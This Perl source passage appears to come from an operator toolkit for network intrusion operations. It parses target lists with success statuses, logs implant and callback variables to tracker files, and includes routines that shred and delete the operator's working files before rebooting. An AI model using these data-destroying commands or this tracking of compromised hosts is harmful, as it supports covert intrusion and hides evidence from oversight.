m,/up/(.*noserver|orleansstride|.keystr|toast|itime|crypttool|enemyrun|curse),; + next if m,/current/tmp/,; + next if m,\$opdate/tmp/,; + next if m,/bin/(esna-),; + next if m,/doc/(sha1sums),; + next if m,/etc/(gs\\.|auto),; + \$ipfiles{\$ip} .= "\$warncolor\$_\$nocolor\\n"; + } + return %ipfiles; +} + +sub shredstuff { + local(\$override,@shreddirs) = (@_); + + # Inside \$shreddir, wipe all files, skip those that contain some strings + # (unless \$override is set), + + + # Remove all links + my @links = split(/\n/,\`find @shreddirs -type l\`); + dbg("unlink(@links);"); + printboth("\n\nRemoving ".scalar @links." soft links in @shreddirs.\n"); + unlink(@links); + + + + # Width of getopdata xterm (which has -geometry 207x56+1+0) + my \$getopwinwidth = 207; + # Subtract 7 for the fixed printf characters, 130 for the filename length + my \$graphicwidth = \$getopwinwidth - 7 - 130 ; + my @allfiles = (); + my %ipfiles = nondatafiles(\$override,\@allfiles,@shreddirs); + my \$count = @allfiles; + my \$more = " (skipping those in /down/ or /pcaps/ and /freshstep* files)" unless \$override; + printboth(".\n\n". + "Shredding \$count files in @shreddirs\$more.\\n\\n". + "Will reboot when done.\n\nProgress:\n"); + dbg("Shredding \$count files:\\n\\n". + join("\\n",@allfiles)); + my \$done = 0; + my \$shortfile; + my \$iterations = 1; + foreach my \$file (@allfiles) { + \$shortfile = \$file; + \$shortfile =~ s,$TOP,.,g; + if (length \$shortfile > 130) { + \$shortfile = substr(\$shortfile,-130); + \$shortfile =~ s,^...,...,; + } + \$file =~ s,\\$,?,g; + printf "\r%3d%% %s %-130s", + int(100*(\$done/\$count)), + graphic(\$done,\$count,\$graphicwidth), + \$shortfile; +#OR MAYBE: \`shred --size 250K --force --remove --zero \$file 2>/dev/null\`; + dbg(" shred --force --remove --zero --iterations \$iterations \"\$file\" 2>/dev/null"); + \`shred --force --remove --zero --iterations \$iterations "\$file" 2>/dev/null\`; + \$done++; + } + \$done = \$count = 1; + printf "\r%3d%% %s %-130s\n\n", + int(100*(\$done/\$count)), + graphic(\$done,\$count,\$graphicwidth), + ""; + + + # This directory has \$ in filenames which can mess up shred. If any + # left, just remove them with rm -rf. + printboth("\n\nRemoving \$topdate/bin/jscanner_pkg (if any files have odd characters in them).\n"); + print \`rm -rvf \$topdate/bin/jscanner_pkg 2>&1 | tee -a \$logfile 2>/dev/null\`; + + + + # Remove all empty dirs above scrub created + my @dirs = sort by_path_depth split(/\n/,\`find @shreddirs -type d\`); + dbg("unlink(@links);"); + printboth("\n\nRemoving ".scalar @dirs." empty directories now in @shreddirs\n"); + foreach (@dirs) { + rmdir ; + } + + return \$count; +} + +sub discoverips { + local(\$opnotesfile,\$comment,\$which) = (@_); + \$comment = "quiet" unless \$comment; + # Set globals %unknownIPdirs, %unknownIPnotes and %addrdirs + (%unknownIPdirs,%unknownIPnotes,%addrdirs, + %winhosts,%successfulwinhosts,\$alltargets, + %routerhosts,%fwhosts,%nonstdhosts,%notdonehosts,%canopyhosts, + %nofilename) = (); + # Get IP addresses from collection on disk + return unless (opendir(GETOPDIR,"\$opdown")); + my @downfiles = grep ! /^\.{1,2}$/ , readdir(GETOPDIR); + closedir(GETOPDIR); + foreach my \$line (@downfiles) { + next unless (-d "\$opdown/\$line" or + \$line =~ /(firewall.log|router.log|script\S*router|script\S*firewall)/); + (\$ip) = \$line =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\$/; + (\$ip) = \$line =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[._a-z]+/i unless (length \$ip); + (\$ip) = \$line =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ unless (length \$ip); + # so \$ip might be wrong if HOST.IP ends in a numeral, this fixes that. + \$ip = \$1 if (length \$ip and \$line =~ /\d+\.(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/); + next unless \$ip; + \$addrdirs{\$ip} .= " \$line\n"; + } + + # Populate %addrnotes from \$opnotesfile if we can + if (open(OPNOTESIN,"\$opnotesfile")) { + %addrnotes = (); + # Need to find \$maxindent and \$maxdns before our last time through + # opnotes.txt, so that processline can fix the indenting and + # columnizing in \$modifiedtargets section. + \$maxindent = 0; + \$maxdns = 0; + while () { + last if (/^Results/i); + next if (/^ALIAS:/i); + if (my (\$ip) = /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/) { + my (\$fqdn) = /\$ip\S*\s+(\S+)/; + \$maxdns = length(\$fqdn) if length \$fqdn > \$maxdns; + \$indented = index(\$_, \$ip); + \$maxindent = \$indented if \$indented > \$maxindent; + } + } + # Rewind to front of file again + seek(OPNOTESIN,0,0); + + # Get IP addresses from targets section of notes + \$attarglist = 0; + \$foundtargets = 0; + \$opnoteslinenum = 0; + \$originaltargets = ""; + \$modifiedtargets = ""; + while () { + \$opnoteslinenum++; + next if (/^alias:/i); + \$attarglist = 1 if (/^Targets/i); + next unless \$attarglist; + last if (/^Results/i); # end of target list + \$ip = ""; + if (\$ip = processline(\$_,\$comment,\$which)) { + \$foundtargets = 1; + \$addrnotes{\$ip} = 1; + } + } + close(OPNOTESIN); + } + + + # Compare with IP addresses from both opnotes (%addrnotes) + # and \$opdown dirs/scripts, see if they match + foreach \$addr (sort keys %addrnotes) { + next if (\$addrdirs{\$addr} or \$notdonehosts{\$addr} or \$winhosts{\$addr}); + \$unknownIPnotes{\$addr} = \$addrnotes{\$addr}; + } + foreach \$addr (sort keys %addrdirs) { + next if (\$addrnotes{\$addr}); + \$unknownIPdirs{\$addr} = \$addrdirs{\$addr}; + } +} + +sub freshsteptracker { + # NOTE: as of 17 DEC, \$project can be EITHER a project name + # or the schedule ID. + local (\$which,\$project) = (@_); + # See if we know the current project, prompt if not + my \$trackerupdate = \$which =~ /update/; + \$tracker_updates_sent++ if (\$which =~ /update/); + (\$standard, + \$successful, + \$targets,@projectlist,%projecthash) = (); + (\$project,\$targets,@projectlist) = + opnotesprojects(\\%projecthash); + unless (\$project) { + if (!\$project and \$projectnamelower) { + \$project = \$projectnamelower; + } else { + my \$more = ""; + while (!\$project) { + \$project = getinput + (\$COLOR_FAILURE. + \$more. + \$COLOR_NOTE. + "What is your project name?",\$project); + if (\$project =~ /^\d+\$/) { + if (length \$project != 14) { + \$more = "\\nYour Op Schedule ID must be 14 digits.\\n\\n"; + \$project = ""; + } + } + } + } + } + my \$todaystamp = timestamp(short); + unless (\$suite > 0 or !open(TRACKERIN,"/suite.txt")) { + while () { + chomp; + \$suite = \$_; + } + } + close(TRACKERIN); + if (\$genthree) { + \$suite = myreadfile("/tmp/suitefile"); + } else { + unless (\$suite =~ /^\d+\$/) { + \$suite = getinput + (\$COLOR_NOTE. + "What is your suite number?",\$suite); + if (open(TRACKERSUITE,">/suite.txt")) { + print TRACKERSUITE "\$suite\n"; + } + close(TRACKERSUITE); + } + } + + my \$val = myreadfile("/tmp/suiteinfo","/suite.txt"); + if (\$val) { + newhostvar("gbl_suiteinfofile",\$val); + } + # Set the gbl_suiteinfo global at top and bottom of op + newhostvar("gbl_suiteinfo","\$suite/\$ethprivaddr") + if (\$suite or \$ethprivaddr); + + + my \$freshstepdir = "$TOP/freshstep_\$datedir"; + preservefile(\$freshstepdir); + \`mkdir -p \$freshstepdir\`; + \$operlist = join(",",@opusers); + if ("$PRIVATEETHER" and !\$ethprivaddr) { + (\$ethprivaddr) = + \`ifconfig $PRIVATEETHER | grep inet.addr\` =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ ; + newhostvar("gbl_internalIP","\$ethprivaddr") if (\$ethprivaddr); + } + my \$hostsuite = \$suite; + #\$hostsuite = \$gbl_genthreesuite if (\$gbl_genthreesuite =~ /\d+\-\d+\-\d+/); + #\$hostsuite = "\$gbl_genthreehost-\$hostsuite" if (\$gbl_genthreehost); + # \$hostsuite =~ s/-/,/g; + my \$myproject = \$project; + \$myproject = \$gbl_genthreeopname if \$gbl_genthreeopname; + \$trackerfile = + "\$freshstepdir/freshstep_tracker_\${myproject}_\${which}_\${todaystamp}_\${operlist}_\${hostsuite}_\${ethprivaddr}"; + + if (\$which eq "stop") { + \$which = "end"; + my \$default = "Y"; + my \$successmore = ""; + if (scalar(keys %successfulips) <= 1) { + \$default = "N" unless \$gotwinbox; + if (\$gotwinbox) { + \$successmore = " (assuming\$COLOR_FAILURE YES\$COLOR_NORMAL since you have windows targets)"; + \$default = "Y"; + } + } + \$successful = "successful"; + \$ans = getinput("\n\nWas this a successful op\$successmore?",\$default); + \$successful = "unsuccessful" unless (\$ans =~ /^y/i); + + \$standard = \$nonstandard ? "nonstandard" : "standard" ; + + # Compute oplength in minutes, first seconds + 30 (round up), then /60 + \$oplength = scalar time() - \$gbl_opstarttime + 30; + \$oplength = int(\$oplength/60); + + \$trackerfile .= "_\${successful}_\${standard}_\${oplength}_\${opmegs}M"; + } + preservefile(\$trackerfile); + if (open(TRACKEROUT,">\$trackerfile")) { + \$freshstep_contents = ""; +# my \$trackpush = "bzip2 \$trackerfile ; ls -al \$trackerfile.bz2 ; \$topdate/$TOOLS/copy-fast NOZIP FORCE QUIET \$trackerfile."; + my \$trackpush = "ls -al \$trackerfile ; copy-fast NOZIP FORCE QUIET \$trackerfile"; + printboth(" +Logging \${which} of op via copy-fast: + +\$trackpush + +") + unless \$trackerupdate; + #Get our setup details set by mz -s + my \$fgsetup=readfile("$TOP/fg/localCopy/fg.log"); + # If we have defined this var at this point (within getopdata), add on the opschedule which is SH specific + if ( \$fgsetup=~/./ ) { \$fgsetup = "\$fgsetup OPSCHEDULE \$gbl_opschedule"; } + trackerlog( + "TRACKER_TYPE",\$which, + "GMT",scalar gmtime(), + "GMTEPOCH",scalar time(), + "SCRUBVER","$SCRUBVER", + "PROG","$PROG", + "OS","$OS", + "OSVERSION","$OSVERSION", + "opminutes","\$oplength", + "PUBLIC_INTERFACE","$PUBLICETHER", + "PUBLIC_IP","$PUBLICIP", + "PRIVATE_INTERFACE","$PRIVATEETHER", + "PRIVATE_IP","\$ethprivaddr", + "FGSETUP","\$fgsetup", + ); + newhostvar("gbl_targets","\n\$gbl_targets") + unless (\$gbl_targets =~ /^\n/); + newhostvar("gbl_modifiedtargets","\n\$modifiedtargets") + if (\$modifiedtargets); + newhostvar("gbl_genthreesuite",\$genthreesuite) + if (\$genthreesuite); + trackervarlog(# This puts "variable=\$variable" there for each variable + # name sent. That is the name=value of each perl variable + # whose name is sent. All are treated as strings, with the + # right hand side in double quotes (and quotes in the value + # properly escaped). + "gbl_opstarttime", + "gbl_opstartdate", + "gbl_opstarttimestr", + "gbl_callbackresets", + "gbl_callbackinterval", + "gbl_checkallin", + "gbl_pitchcheckin", + "gbl_publiccheckin", + "gbl_suite", + "suite", + "opmegs", + "oplength", +# "project", # Removed AUG 2012, see gbl_project below. + "successful", + "specialproc", + "standard", + "operlist", + "trackerfile", + # NOTE: All gbl_NAME variables sent to trackervarlog() are logged as BOTH + # gbl_NAME=VALUE and NAME=VALUE. + "gbl_opuser", + "gbl_opusertag", + "gbl_opschedule", + "gbl_localip", + "gbl_project", + "gbl_suiteinfo", + "gbl_suiteinfofile", + "gbl_gensite", + "gbl_gensuite", + "gbl_genthreesite", + "gbl_genthreehost", + "gbl_genthreeopname", + "gbl_genthreesuite", + "gbl_externalIP", + "gbl_gotproblems", + "gbl_targets", + "gbl_modifiedtargets", + "gbl_nopenips", + "gbl_nopenconnect", + "gbl_nopenhops", + "gbl_nopenburned", + "gbl_nopenhosts", + "gbl_projectshash", + "gbl_aliases", + "gbl_depthhash", + "gbl_hostnamehash", + "gbl_statushash", + "gbl_typehash", + "gbl_commentshash", + "gbl_targetline", + "gbl_pitchips", + "gbl_spooffrom", + "gbl_pushedvia", + "fgfreshen", + "gbl_fg_reuse", + ); + + if (\$which eq "end" or \$which eq "stop") { + newhostvar("gbl_opstopdate",\$todaystamp); + newhostvar("gbl_opstoptime",time()); + newhostvar("gbl_opstoptimestr",gmtime()); + trackerlog ("gbl_opstopdate",\$todaystamp, + "gbl_opstoptime",time(), + "gbl_opstoptimestr",scalar gmtime(), + ); + } + # Log even more, target specific + # First read in varfiles + # Do global first (someone else may have reset a global since I set it in \$hostvarfile) + do \$global_varfile if (-s \$global_varfile); + # Do mine last + do \$hostvarfile if (-s \$hostvarfile); + # Not sure here if \$nopen_rhostname or \$nopen_myip is the key + # for these, so here we start with \$hostip, the key of gbl_nopenhosts + # which has both (from \$nopen_rhostname), then use whichever \$str + # of the two we find that has a value, if any. + foreach my \$hostip (keys %gbl_nopenhosts) { + my \$str = ""; + my (\$ip) = \$hostip =~ /.*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*$/ ; + trackerlog("TRIGGER_\$hostip","\$str") + if (\$str = \$host_trigger{\$ip} or + \$str = \$host_trigger{\$hostip}); + trackerlog("UNAME_\$hostip","\$str") + if (\$str = \$host_uname{\$ip} or + \$str = \$host_uname{\$hostip}); + trackerlog("WUPTIME_\$hostip","\$str") + if (\$str = \$host_wuptime{\$ip} or + \$str = \$host_wuptime{\$hostip}); + trackerlog("FQDN_\$hostip","\$str") + if (\$str = \$host_fqdn{\$ip} or + \$str = \$host_fqdn{\$hostip}); + trackerlog("IPLIST_\$hostip","\$str") + if (\$str = \$host_iplist{\$ip} or + \$str = \$host_iplist{\$hostip}); + trackerlog("MACLIST_\$hostip","\$str") + if (\$str = \$host_maclist{\$ip} or + \$str = \$host_maclist{\$hostip}); + trackerlog("HIDDENDIRLIST_\$hostip","\$str") + if (\$str = \$host_hiddendirlist{\$ip} or + \$str = \$host_hiddendirlist{\$hostip}); + } + + close(TRACKEROUT); + unlink("/share/down/hostvars.global") ; + copy(\$global_varfile,"/share/down/hostvars.global") ; + \`chmod a=rw /share/down/hostvars.global\`; + preservefile("\$topdate/$DOWN/\$opdonebyfile"); + if (open(OPDONEOUT,">\$topdate/$DOWN/\$opdonebyfile")) { + print OPDONEOUT \$freshstep_contents; + } + close(OPDONEOUT); + \`sync ; cp -p \$topdate/$DOWN/op.done.by* /share/down/ 2>/dev/null ; cp -p \$topdate/$DOWN/op.done.by* \$topdate/ 2>/dev/null\`; + + dbg("IN freshsteptracker(@_) with TOP=\$top DATE=\$datedir\n". + "RUNNING: \$trackpush\n". + "WITH: trackerfile=\$trackerfile trackerupdate=\$trackerupdate and\n\n". + "ls -alrtd /current\n". + \`ls -alrtd /current\`. + "\n\nls -alrt / /current /current/ \$topdate/ $TOP\n". + \`ls -alrt / /current /current/ \$topdate/ $TOP\` + ); + #system(\$trackpush); + my \$pushresult = ""; + unlink("/tmp/testpush"); + if (\$trackerupdate and \$tracker_updates_sent % 4) { + system("\$trackpush 2>&1 | tee /tmp/testpush | grep ARRIVE"); + } else { + system("\$trackpush 2>&1 | tee /tmp/testpush"); + } + \$pushresult = myreadfile("/tmp/testpush"); + my \$more = "TRACKER UPDATE #\${tracker_updates_sent} SENT:\n\n" + if \$trackerupdate; + dbg("Just pushed tracker\$more with \$trackpush, returned\nBEGINPUSH\n\$pushresult\nEOFPUSH"); + printboth(\$more.\$pushresult) + unless (\$trackerupdate and \$tracker_updates_sent % 4); + + if (\$pushresult =~ /DID NOT ARRIVE SUCCESSFULLY/) { + printboth( + "\\n\\n\\n\$COLOR_FAILURE\\n\\nTHAT FAILED!!\\n\\n\\n". + "Will try again in \$otherupdateinterval seconds....\$COLOR_NORMAL\n"); + } + } else { + warn "COULD NOT OPEN >\$trackerfile: \$!\n"; + dbg("COULD NOT OPEN >\$trackerfile: \$!\n". + "SO NOT RUNNING: bzip2 \$trackerfile ; ls -al \$trackerfile*; copy-fast NOZIP MIDOP\n". + "WITH: trackerfile=\$trackerfile and\n\n". + "ls -alrtd /current\n". + \`ls -alrtd /current\`. + "\n\nls -alrt / /current /current/ \$topdate/ $TOP\n". + \`ls -alrt / /current /current/ \$topdate/ $TOP\` + ); + } + + + my \$freshstamp = "freshstep_".timestamp(short); + if (\`ls -al $TOP/freshstep* 2>/dev/null\` =~ /freshstep/) { + printboth("Moving $TOP/freshstep* to $TOP/DONE/\$freshstamp:\n\n". + \`mkdir -pv $TOP/DONE/\$freshstamp ; mv \$mvv $TOP/freshstep* $TOP/DONE/\$freshstamp\`); + } + +} +#freshsteptracker + +sub myreadfile { + if (defined &readfile) { + return readfile(@_); + } + my \$val = ""; + foreach my \$outfile (@_) { + if (-s \$outfile and open(SCRUBIN,\$outfile)) { + while () { + \$val .= \$_; + } + close(SCRUBIN); + } + } + return \$val; +} +#myreadfile + +sub trackervarlog { + # This puts "variable=\$variable" there for each variable + # whose name is sent. All are treated as strings, with the + # right hand side in double quotes (and quotes in the value + # properly escaped). + # NOTE: No longer logs a varname="" line when that variable is not defined. + local (@varnames) = (@_); +dbg("INSIDE: trackervarlog(@_)"); + foreach my \$name (@varnames) { + next unless (\$name); + next if (\$name =~ /passwd/); + my \$val = eval "\\$\$name"; + if (length \$val) { + trackerlog(\$name,\$val); + } + my \$hval = eval "scalar keys %\$name"; + if (\$hval > 0) { + my %hash = (); + eval "%hash = %\$name"; + foreach my \$key (%hash) { + trackerlog("\$name"."\{\"\$key\"\}",\$hash{\$key}); + } + } + } +} + +sub trackerlog { + local (@arr) = (@_); +dbg("INSIDE: trackerlog(@_)"); + while (@arr) { + my \$oldname = ""; + my \$name = shift @arr; + if (\$name =~ /^gbl_/) { + (\$oldname) = \$name =~ /gbl_(.*)/; + } + my \$value = shift @arr; + \$value =~ s,\",\\\\\",g; + my \$content = " \$name=\"\$value\"\n"; + if (\$oldname) { + \$content .=" \$oldname=\"\$value\"\n"; + } + print TRACKEROUT \$content; + \$freshstep_contents .= \$content; + } +} + +sub donereboot() { + my (\$how,\$what,\$what2) = ("reboot","reboot","rebooting"); + if (\$genthree) { + (\$how,\$what,\$what2) = ("init 0","shutdown","shutting down"); + &getinput("\\n\\n". + "$PROG (v.$SCRUBVER) is done.\$COLOR_FAILURE (GEN3 mode: \$genthree)". + "Your VM will automatically \$what a few seconds after you HIT RETURN.\\n\\n". + "\$COLOR_FAILURE YES YOU MUST HIT RETURN HERE!!!!"); + printboth("About to \$what with \$how..."); + sleep 5; + } else { + my \$ans = &getinput("\\n\\n". + "$PROG (v.$SCRUBVER) is done.\$COLOR_FAILURE ". + "HIT RETURN TO SCRUB $TOP (takes about 11 minutes)\\n\\n". + "System will automatically \$what after scrub.\\n\\n"); + # Clean up \$opdir + shredstuff(0,"$TOP"); + } + my \$countdown = int(\$_[0]) ; + \$countdown = \$ans if (\$ans > 0); + \$countdown = 5 unless \$countdown; + printboth("\\n\\nWe are \$what2 in \$countdown...\\n"); + while (\$countdown-- > 0) { + sleep 1; + printboth(" \$countdown...\\n"); + } + system(\$how) unless (length "$NEWPROG"); + \$countdown = 300 ; + printboth("\\n\\nYou were using an RC tarball...giving you more time, \$what2 in \$countdown...\\n(Or just \$what it yourself with:\n\n \$how\n\nif you want this station and the tester has left.)\\n\\n\\n"); + while (\$countdown-- > 0) { + sleep 1; + printboth(gmtime()." \$countdown...\\n") unless (\$countdown % 30); + } + system(\$how) ; +} + +sub fixboth { + local (\$atline) = (@_); + if (\$atline > 0) { + \$atline = " +\$atline"; + } else { + \$atline =""; + } + system("xterm -geometry 104x55-640+30 -title \"WINDOWS OP NOTES - opnotes.txt\" -e \"\$editor\$atline \$topdate/$DOWN/opnotes.txt\" &"); + system("xterm -geometry 104x55-0+30 -title \"UNIX OP NOTES - opnotes.bak\" -e \"\$editor\$atline \$topdate/$DOWN/opnotes.bak\" &"); + while (1) { + last unless \`ps -ef | grep "vim.*opnotes" | grep -v grep\`; + sleep(2); + } + \$ans = getinput("Press Enter to continue Op Notes validation."); +} + +sub processline { +# NEW c. NOV 2009: Targets section MUST BE whitespace delimited in this order. +# Fields after this are allowed for comment purposes. +# +#--> 10.1.1.1 dns.fqdn.com projectname TYPE STATUS +dbg("In processline(@_)"); + local(\$line,\$comment,\$file) = (@_); + return "" if (!\$attarglist or \$line =~ /^\s*\#/); + my \$quiet = \$comment eq "quiet"; + #\$quiet = 1 unless (\$gotwindowsnotes or \$comment =~ /in Unix/); + my \$finalpass = \$comment =~ /MERGED opnotes/; + my \$trackerupdate = \$comment =~ /TRACKERUPDATE/; + my \$origline = \$line; + \$originaltargets .= \$line; + chomp(\$line); + # Anchor the right of the IP with whitespace--so if hostname ends in a digit, we are ok + my (\$ip) = \$line =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/; + unless (\$ip and \$attarglist) { + return ""; + } + \$alltargets .= "\$line\n"; + # We force IP to be space delimited from any 'arrow' (-->) on that line + # and remove non-whitespace, preserving indent column, + my \$indented = index(\$line, \$ip)-1 if \$finalpass; + \$minindented = \$indented if \$minindented < 0; + # So if the first line has NO indent, bump EVERY line by one to the right: + \$indented++ if \$minindented == 0; + \$indent{\$ip} = "-" x \$indented; + \$indent{\$ip} .= ">"; + # Force first column to be indenting, changed to an arrow, + # second column to be IP. + # Need .*? in regexp here so that FQDN can contain IP and not be sucked + # into the .*? (? makes it less greedy). + \$line =~ s/.*?\$ip/\$indent{\$ip} \$ip/; + my (\$indent2,\$ip2,\$fqdn,\$projectnameinsub,\$type,\$status,@comments) + = split(/\s+/,\$line); + \$projectnameinsub = "pitchimpair" + if \$projectnameinsub eq "p"; + unless (!\$finalpass or \$quiet or \$projectnamefromnotes) { + unless (lc \$projectnameinsub eq "pitchimpair") { + my \$default = \$projectnameinsub; + my @nsrat = grep /^\s*NS.RAT\s*=/ , myreadfile("ARRAY","\$topdate/$DOWN/opnotes.txt"); + if (@nsrat == 1 and (length \$nsrat[0] > 200)) { + # This accounts for if myreadfile does not properly handle "ARRAY" + @nsrat = grep /^\s*NS.RAT\s*=/ , split(/\n/,"@nsrat"); + } + @nsrat = grep ! /nopen/i , @nsrat; + \$nsrat = "@nsrat"; + \$nsrat =~ s,\s, ,g; + \$default = "pitchimpair" + if (!\$nsrat and + (\$projectnameinsub =~ /^pitc/i or + \$projectnameinsub =~ /^p.+chimp/i)); + my \$more = "\$COLOR_FAILURE (is it misspelled?)\$COLOR_NORMAL" + if \$default eq "pitchimpair"; + \$more = " (quite common with \$nsrat)" if \$nsrat; + \$more = " (not unheard of, just unusual)" unless \$more; + my \$colorline = "\${COLOR_FAILURE}\$line\${COLOR_NORMAL}" if \$more; + \$ans = getinput( + "First Target Line is:\n". + \$colorline."\n\n". + "Your first projectname is\$COLOR_FAILURE not\$COLOR_NORMAL pitchimpair\$more.\n\n". + "\${COLOR_FAILURE}PLEASE CONFIRM\$COLOR_NORMAL: What should the first line project name be?", + \$default); + \$projectnameinsub = \$ans if \$ans; + } + } + if (lc \$status eq "not" and \$comments[0] eq "attempted") { + \$status .= "_attempted"; + shift @comments; + } + my \$comments = join(" ",@comments); + # Lowercase all fields except indent, IP and \$comments + (\$fqdn,\$projectnameinsub,\$type,\$status) = + (lc \$fqdn,lc \$projectnameinsub,lc \$type,lc \$status); + \$projectnamefromnotes{\$ip} = \$projectnameinsub; + + # Set this global, will be the last line project once done. + \$projectnamefromnotes = \$projectnameinsub if \$finalpass; + \$projectlist{lc \$projectnameinsub} = \$ip; + + unless(\$trackerupdate) { + unless(ipcheck(\$ip2)) { + mywarn("\\n\\nIGNORING MALFORMED TARGET LINE (no IP in IP column):\$COLOR_NORMAL\\n \$origline"); + \$malformed++; + return ""; + } + + if (\$projectnameinsub =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) { + mywarn("\\n\\nIGNORING MALFORMED TARGET LINE (project column contains IP):\$COLOR_NORMAL\\n \$origline"); + \$malformed++; + return ""; + } + } + if (\$status =~ /^s/) { + \$status = "successful"; + } elsif (\$status =~ /^u/) { + \$status = "unsuccessful"; + \$notdonehosts{\$ip}++; + } elsif (\$status =~ /^not/) { + \$status = "not_attempted"; + \$nofilename{\$ip}++; + \$notdonehosts{\$ip}++; + } elsif (\$status =~ /^non/) { + \$status = "nonstandard"; + \$nonstdhosts{\$ip}++; + } elsif (!\$trackerupdate){ + mywarn("\\n\\nIGNORING MALFORMED TARGET LINE (\$COLOR_NOTE\$status\$COLOR_FAILURE is not a valid status):\\n \$origline\\n"); + \$malformed++; + return ""; + } + TYPETEST: + if (\$type =~ /^unknown/i) { + \$type = "unknown"; + } elsif (\$type =~ /^unk$/i) { + \$type = "unk"; + } elsif (\$type =~ /^[un]/i) { + \$type = "unix"; + } elsif (\$type =~ /^f/i) { + \$type = "firewall"; + \$fwhosts{\$ip}++; + } elsif (\$type =~ /^r/i) { + \$type = "router"; + \$routerhosts{\$ip}++; + } elsif (\$type =~ /^c/i) { + \$type = "canopy"; + \$canopyhosts{\$ip}++; + } elsif (\$type =~ /^w/i) { + \$type = "windows"; + \$nofilename{\$ip}++; + \$winhosts{\$ip}++; + \$successfulwinhosts{\$ip}++ if (\$status eq "successful"); + } elsif (!\$trackerupdate){ + mywarn("\n\nIGNORING MALFORMED TARGET LINE (\$COLOR_NOTE\$type\$COLOR_FAILURE is not a valid type):\$COLOR_NORMAL\n \$origline"); + \$malformed++; + return ""; + } + + + \$comment .= " (\$projectnamefromnotes{\$ip})"; + +#--> 10.1.1.1 dns.fqdn.com projectname TYPE STATUS + + +#(\$indent2,\$ip2,\$fqdn,\$projectnamefromnotes,\$type,\$status,@comments) = split(/\s+/,\$line); + \$line = sprintf("%-26s %-30s %-20s %-9s %-13s %s", + "\$indent2 \$ip2",\$fqdn,\$projectnameinsub,\$type,\$status,\$comments); + if (\$finalpass) { + my \$origtype = \$type; + if (substr(\$type,0,1) eq "u" and \$gbl_nonunix{\$ip}) { + my \$ans = getinput( + "\n\n# Problem Target Type \"\$type\" in Line:\n\n". + "\$line\n\n". + "This target is labeled \"\$type\", but earlier was seen differently as:\n\n". + " NOPEN_SERVERINFO == \$gbl_nonunix{\$ip}\n\n". + "In these cases, usually \"router\" is better.\n\n". + "What type should this target be?","router"); + \$type = lc \$ans; + goto TYPETEST unless (\$origtype eq \$type); + } elsif (\$type eq "unk") { + my \$ans = getinput( + "\n\n# Problem Target Type \"unk\" in Line:\n\n". + "\$line\n\n". + "This target is labeled \"unk\". Most often, \"unix\" is better.\n\n". + "What type should this target be?","unix"); + \$type = lc \$ans; + goto TYPETEST unless (\$origtype eq \$type); + } + \$nonstandard .= \$line if (\$line =~ /nonstandard/i); + \$comment .= " TYPE=\$type"; + if (\$line =~ /\ssuccessful\s/i and !(\$line =~ /\swindows\s/)) { + \$successfulips{\$ip} = \$line; + delete \$unsuccessfulips{\$ip}; + } elsif (\$line =~ /\sunsuccessful\s/i and !(\$line =~ /\swindows\s/)) { + \$unsuccessfulips{\$ip} = \$line; + delete \$successfulips{\$ip}; + \$comment .= " UNSUCCESSFUL"; + } else { + # So must be windows, we don't count as either + delete \$unsuccessfulips{\$ip}; + delete \$successfulips{\$ip}; + } + + \$modifiedtargets .= "\$line\n"; + my \$pitchlinemore = ""; + if (\$opnotespitchlinenum) { + \$pitchlinemore = " (P+".int(\$opnoteslinenum - \$opnotespitchlinenum) . ")"; + } + } + printboth("I found \$ip2 \$comment in \$file line \$opnoteslinenum\$pitchlinemore\\n") + if (\$comment and !\$quiet); + return \$ip; +} + +sub findindex { + local (\$str,@arr) = (@_); + for (my \$i=0;\$i<@arr;\$i++) { + return \$i if (\$arr[\$i] =~ /\$str/i); + } + return -1; +} +# Recursive routine to build the filename of the tarball +sub buildfilename { + my @argslist = @_; + + # Determine if adding self to filename or more recursion + my \$myip = \$argslist[0]; + # IP in the tarball filename should be the alias, same one we want it logged as + \$myip = \$aliasedip{\$myip} if \$aliasedip{\$myip}; + my \$mylevel = \$argslist[1]; + my \$i; + my \$j; + my @newargslist; + + return if (\$alreadybuilt{\$myip}); + \$alreadybuilt{\$myip} = 1; + + for (\$i = 2; \$i <= \$#argslist; \$i += 2) { + + if (\$argslist[\$i+1] >= \$mylevel) { + @newargslist = (); + for (\$j = \$i; \$j <= \$#argslist; \$j++) { + \$newargslist[\$j-\$i] = \$argslist[\$j]; + } + buildfilename(@newargslist); + } + else { + last; + } + } + + # If here, now we can tack on info to filename and return + return if (\$nofilename{\$myip} and !\$unsuccessfulips{\$myip}); + my \$fixproject = lc opproject(); + \$fixproject = \$projectmap{\$myip} + if (\$projectmap{\$myip}); + + while (!\$projectmap{\$myip}) { + printboth("NOTE: This is where new code was added to fix missing project names.\n\n"); + + \$fixproject = getinput + ("Please confirm project name for IP \$myip: ",\$fixproject); + \$projectmap{\$myip} = \$fixproject; + } + \$tarballfilename .= "." if (\$tarballfilename); + \$tarballfilename .= "\$fixproject.\$myip"; + return; +} #end buildfilename + +sub getispinfo { + local(\$redial) = @_; + # globals: \$localip + + \$wearedone = ""; + + (\$isp,\$city,\$phone) = ("LK"); + + \$xispfile = "/root/.xisplast"; + if (-e "/tmp/isp_info") { + \$ispage = -C _; # age of file tested last + #ignore this file if it's older than 1 hour + if (\$ispage < (1.0/24.0)) { + if ( open(OPDATA,"< /tmp/isp_info")) { + #read in file contents into variables + chomp(\$isp = ); + chomp(\$city = ); + chomp(\$phone = ); + } + close(OPDATA); + } + } elsif (-e \$xispfile) { + \$ispage = -C \$xispfile; + #ignore this file if it's older than 1 hour + if (\$ispage < (1.0/24.0)) { + (\$isp) = \`tail -2 \$xispfile | head -1\` =~ /:.. [0-9]{4} (.*)\// ; + (\$city) = \`tail -1 \$xispfile\` =~ /:[0-9]{2} [0-9]{4} (.*) .67/; + (\$phone) = \`tail -1 \$xispfile\` =~ /:[0-9]{2} [0-9]{4}.*,(.*)/; + } + } + + open(ISPINFOOUT,">> \$topdate/$DOWN/ispinfo.txt"); + \$redial = " REDIAL " if \$redial; + \$num = "1"; + + my \$waitcount = 0; + while (! -e 